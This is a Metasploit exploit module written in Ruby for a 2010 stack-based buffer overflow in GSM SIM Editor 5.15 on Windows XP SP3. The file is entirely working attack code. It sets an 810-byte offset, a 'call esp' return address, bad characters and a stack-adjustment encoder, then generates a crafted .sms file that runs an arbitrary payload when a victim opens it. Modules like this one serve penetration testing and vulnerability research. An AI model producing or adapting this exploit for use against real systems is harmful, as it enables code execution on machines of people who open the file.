##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'GSM SIM Editor 5.15 Buffer Overflow',
      'Description'     => %q{
          This module exploits a stack-based buffer overflow in GSM SIM Editor 5.15.
        When opening a specially crafted .sms file in GSM SIM Editor a stack-based buffer
        overflow occurs which allows an attacker to execute arbitrary code.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Ruben Alejandro',
          'chap0 <contact.chap0[at]gmail.com>',
          'Lincoln <lincoln[at]corelan.be>'
        ],
      'References'      =>
        [
          [ 'OSVDB', '81161' ],
          [ 'EDB', '14258' ]
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'process',
        },
      'Platform'        => 'win',
      'Payload'         =>
        {
          'Space' => 2000,
          'BadChars' => "\x00",
          'DisableNops' => true,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment #add esp, -3500
        },
      'Targets'         =>
        [
          [ 'Windows XP SP3',
            {
              'Ret'    => 0x00405201, # call esp - SIMEditor.exe
              'Offset' => 810
            }
          ]
        ],
      'Privileged'      => false,
      'DisclosureDate'  => 'Jul 07 2010',
      'DefaultTarget'   => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.', 'msf.sms']),
      ], self.class)

  end

  def exploit
    buffer =  rand_text_numeric(target['Offset'])
    buffer << [target.ret].pack('V').unpack("H*")[0]
    buffer << make_nops(30).unpack("H*")[0]
    buffer << payload.encoded.unpack("H*")[0]

    file_create(buffer)
  end

end